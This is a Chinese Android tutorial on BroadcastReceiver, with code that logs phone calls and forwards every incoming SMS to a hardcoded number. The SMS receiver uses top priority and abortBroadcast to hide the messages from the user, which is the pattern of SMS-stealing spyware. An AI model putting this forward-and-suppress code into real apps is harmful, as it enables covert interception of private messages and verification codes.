Android从零开始—监听广播BroadcastReceiver（二十一）
知识点：电话拒接+短息转发（继承BroadcastReceiver）


步骤一、电话的监听（代码如下）

package com.zjyb.demo44;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.TelephonyManager;import android.util.Log;import android.widget.Toast;//监听电话呼出和呼入的广播public class PhoneBroadReceiver extends BroadcastReceiver{static long s;static long e;static boolean flag=false;//当电话打出的时候,显示打出的号码//当接到电话的时候,显示拨入的号码以及通话时间@Overridepublic void onReceive(Context context, Intent intent) {//判断是呼入还是呼出if(intent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")){//当前是呼出，显示呼出号码String number=intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);Log.v("TAG", number);//18674391429}else{//当前是呼入，显示呼入号码，并且统计通话时间TelephonyManager manager=(TelephonyManager)context.getSystemService(context.TELEPHONY_SERVICE);switch(manager.getCallState()){case TelephonyManager.CALL_STATE_RINGING:String number=intent.getStringExtra("incoming_number");Log.v("TAG", "来电了,电话号码是:"+number);//if(number.equals("18674391429")){//黑名单，拒接//Log.v("TAG", "拒接");//abortBroadcast();//}break;case TelephonyManager.CALL_STATE_OFFHOOK:Log.v("TAG", "通话中...");s=System.currentTimeMillis();break;case TelephonyManager.CALL_STATE_IDLE:Log.v("TAG", "挂断");e=System.currentTimeMillis();flag=true;break;}if(flag&&e>s){Log.v("TAG", "当前通话时间:"+(e-s)/1000);flag=false;e=0;s=0;}}}}

步骤二、短息转发（代码如下）

package com.zjyb.demo44;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.telephony.SmsManager;import android.telephony.SmsMessage;import android.util.Log;//接收短信广播public class SmsBroadReceiver extends BroadcastReceiver{@Overridepublic void onReceive(Context context, Intent intent) {Bundle bundle=intent.getExtras();Object[] obs=(Object[])bundle.get("pdus");//protocol description unitsSmsMessage[] messages=new SmsMessage[obs.length];for(int i=0;i<obs.length;i++){messages[i]=SmsMessage.createFromPdu((byte[])obs[i]);String address=messages[i].getOriginatingAddress();String msg=messages[i].getMessageBody();Log.v("TAG", "收到来自:"+address);Log.v("TAG","消息是:"+msg);//将接收的短消息转发//13838384381SmsManager manager=SmsManager.getDefault();manager.sendTextMessage("13838384381", null, msg, null,null);}abortBroadcast();}}

步骤三、广播注册+权限配置（代码如下）

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="com.zjyb.demo44"    android:versionCode="1"    android:versionName="1.0" >    <uses-sdk        android:minSdkVersion="8"        android:targetSdkVersion="17" />    <application        android:allowBackup="true"        android:icon="@drawable/ic_launcher"        android:label="@string/app_name"        android:theme="@style/AppTheme" >        <activity            android:name="com.zjyb.demo44.MainActivity"            android:label="@string/app_name" >            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>        <receiver             android:name=".PhoneBroadReceiver"            >            <intent-filter >                <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>                <action android:name="android.intent.action.PHONE_STATE"/>            </intent-filter>        </receiver>        <receiver             android:name=".SmsBroadReceiver"            >            <intent-filter android:priority="1000">                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>            </intent-filter>        </receiver>    </application><uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/><uses-permission android:name="android.permission.READ_PHONE_STATE"/><uses-permission android:name="android.permission.RECEIVE_SMS"/><uses-permission android:name="android.permission.SEND_SMS"/></manifest>

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